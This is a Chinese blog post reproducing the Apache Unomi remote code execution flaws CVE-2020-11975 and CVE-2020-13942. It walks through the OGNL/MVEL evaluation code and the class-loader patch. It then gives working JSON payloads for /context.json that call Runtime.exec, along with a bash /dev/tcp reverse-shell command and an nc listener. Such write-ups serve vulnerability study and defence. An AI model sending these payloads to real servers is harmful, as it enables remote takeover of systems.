zl程序教程

您现在的位置是:首页 >  工具

当前栏目

漏洞复现----37、Apache Unomi 远程代码执行漏洞 (CVE-2020-13942)

Apache漏洞 远程 ---- 2020 CVE 复现 37
2023-09-11 14:17:06 时间



一、Apache Unomi简介

Apache Unomi(发音为“You know me”)是一个 Java 开源客户数据平台,一个 Java 服务器,旨在管理客户、潜在客户和访问者数据并帮助个性化客户体验,同时还提供尊重访问者隐私规则(如 GDPR)的功能。

二、CVE-2020-11975漏洞

Apache Unomi<1.5.1的版本中,远程攻击者发送带有MVEL和OGNL表达式的请求,导致远程代码执行,权限是Unomi应用程序的运行权限,漏洞编号为CVE-2020-11975。而CVE-2020-13942是对CVE-2020-11975补丁的绕过。

2.1、CVE-2020-11975漏洞代码

点击查看CVE-2020-11975漏洞代码地址

下述代码段解析:PropertyConditionEvaluator类负责conditions(条件)内的OGNL表达式的计算/执行。

public class PropertyConditionEvaluator implements ConditionEvaluator {
 ...
  protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
        ExpressionAccessor accessor = getPropertyAccessor(item, expression);
        return accessor != null ? accessor.get(getOgnlContext(), item) : null;
    }
 ...

集合上述代码,我们分析:当Unomi收到如下数据时,Unomi会如何执行

{
  "condition":{
    "parameterValues":{
      "propertyName":"Uname1 Uname2",
      "comparisonOperator":"equals",
      "propertyValue":"male"
      }
  }
}

1、Unomi根据用户输入的属性名称(property name),查找硬编码的属性(hardcoded properties)
2、找不到时,则调用getOGNLPropertyValue方法,该方法将用户输入的属性名称(property name)作为一条OGNL表达式,计算/执行这个"属性名称"。
3、在计算/执行OGNL表达式时, ExpressionAccessor使用"默认参数"(default parameters),从而导致了任意OGNL表达式的计算/执行。

CVE-2020-11975 OGNL注入POC如下:

POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749

{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                        "parameterValues": {
                            "":"script::Runtime r = Runtime.getRuntime(); r.exec(\"ping dnslog\");"
                        },
                        "type":"profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}

2.2、CVE-2020-11975漏洞修复代码

变更1:OGNL处理过程增加了SecureFilteringClassLoader
SecureFilteringClassLoader添加到getOGNLPropertyValue()方法的OgnlContext中,以防止计算/执行任意OGNL表达式。

public class PropertyConditionEvaluator implements ConditionEvaluator {
    ...
    protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
        ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(PropertyConditionEvaluator.class.getClassLoader());
        OgnlContext ognlContext = getOgnlContext(secureFilteringClassLoader);
        ExpressionAccessor accessor = getPropertyAccessor(item, expression, ognlContext, secureFilteringClassLoader);
        return accessor != null ? accessor.get(ognlContext, item) : null;
    }
    ...

变更2:MVEL处理过程增加了SecureFilteringClassLoader
SecureFilteringClassLoader添加到getOGNLPropertyValue()方法的OgnlContext中,以防止计算/执行任意OGNL表达式。

public class ConditionContextHelper { 
...  
    private static Object executeScript(Map<String, Object> context, String script) {
        final ClassLoader tccl = Thread.currentThread().getContextClassLoader();
        try {
            if (!mvelExpressions.containsKey(script)) {
                ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(ConditionContextHelper.class.getClassLoader());
                Thread.currentThread().setContextClassLoader(secureFilteringClassLoader);
                ParserConfiguration parserConfiguration = new ParserConfiguration();
                parserConfiguration.setClassLoader(secureFilteringClassLoader);
                mvelExpressions.put(script, MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
            }
            return MVEL.executeExpression(mvelExpressions.get(script), context);
            ...

变更3:引入了SecureFilteringClassLoader安全过滤的ClassLoader
SecureFilteringClassLoader类重写了ClassLoader类的loadClass()方法,在预定义的集合(predefined set)中明确限制了可访问的类(accessible classes) ,并根据allowlist和blocklist来检查表达式中使用的类:
如果匹配中了blocklist,则抛出异常;
如果没匹配中allowlist,则抛出异常;
以此来限制计算/执行任意MVEL和OGNL表达式。

@Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        if (forbiddenClasses != null && classNameMatches(forbiddenClasses, name)) {
            throw new ClassNotFoundException("Access to class " + name + " not allowed");
        }
        if (allowedClasses != null && !classNameMatches(allowedClasses, name)) {
            throw new ClassNotFoundException("Access to class " + name + " not allowed");
        }
        return delegate.loadClass(name);
    }

三、CVE-2020-13942漏洞

CVE-2020-11975 主要通过引入SecureFilteringClassLoader函数,重写ClassLoder类的loadClass()方法,通过黑白名单的方式过滤掉表达式中使用的类,以此来进行防御。
但是MVEL表达式可以直接使用已实例化的类(例Runtime或System),不调动loadClass(),以此来绕过SecureFilteringClassLoader

复现步骤

3.1、执行MVEL表达式

访问IP:8181抓包更改请求为:POST /context.json
Content-Type为:application/json
执行curl 监听端IP:port
在这里插入图片描述

监听端执行nc -lvvp 6666
在这里插入图片描述

POC见下:

{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"command\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}

3.2、执行OGNL表达式

访问IP:8181抓包更改请求为:POST /context.json
Content-Type为:application/json
执行curl 监听端IP:port
在这里插入图片描述

监听端执行nc -lvvp 6666
在这里插入图片描述

POC见下

{
  "personalizations":[
    {
      "id":"gender-test",
     "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                 "propertyName":"(#runtimeclass =#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod =#runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj= #getruntimemethod.invoke(null,null)).(#execmethod =#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{?#this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{?#this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"command\"))",
                  "comparisonOperator":"equals",
                 "propertyValue":"male"
                },
               "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"sample"
}

3.3、反弹shell

访问IP:8181抓包更改请求为:POST /context.json
Content-Type为:application/json
执行bash -i >& /dev/tcp/10.211.55.3/6666 0>&1,需要进行base64加密。
在这里插入图片描述

监听端执行nc -lvvp 6666
在这里插入图片描述


参考: https://github.com/apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/persistence-elasticsearch/core/src/main/java/org/apache/unomi/persistence/elasticsearch/conditions/ConditionContextHelper.java#L81-L89 https://github.com/apache/unomi/commit/823386ab117d231df15eab4cb4b7a98f8af546ca

https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md